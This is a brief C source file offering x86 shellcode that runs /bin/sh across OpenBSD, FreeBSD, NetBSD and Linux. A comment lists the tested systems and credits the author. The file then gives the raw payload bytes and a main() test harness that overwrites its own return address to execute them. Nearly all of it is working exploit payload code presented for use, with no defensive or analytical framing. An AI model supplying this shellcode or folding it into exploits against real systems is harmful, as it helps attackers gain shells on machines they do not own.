/*

Multi OS shellcode
-------------------

This shellcode will do an execve from /bin/sh and works on OpenBSD, FreeBSD
NetBSD and Linux. It was tested to work on the following systems: 

  FreeBSD 4.6-PRERELEASE
  FreeBSD 4.5-RELEASE
  OpenBSD 3.0
  NetBSD  1.5.2
  Linux   2.0.36
  Linux   2.2.12-20
  Linux   2.2.16-22
  Linux   2.4.7-xfs

More info and source code available on safemode.org

Written by zillion[at]safemode.org 

*/


char shellcode[] =
        "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
        "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
        "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
        "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
        "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
        "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
        "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}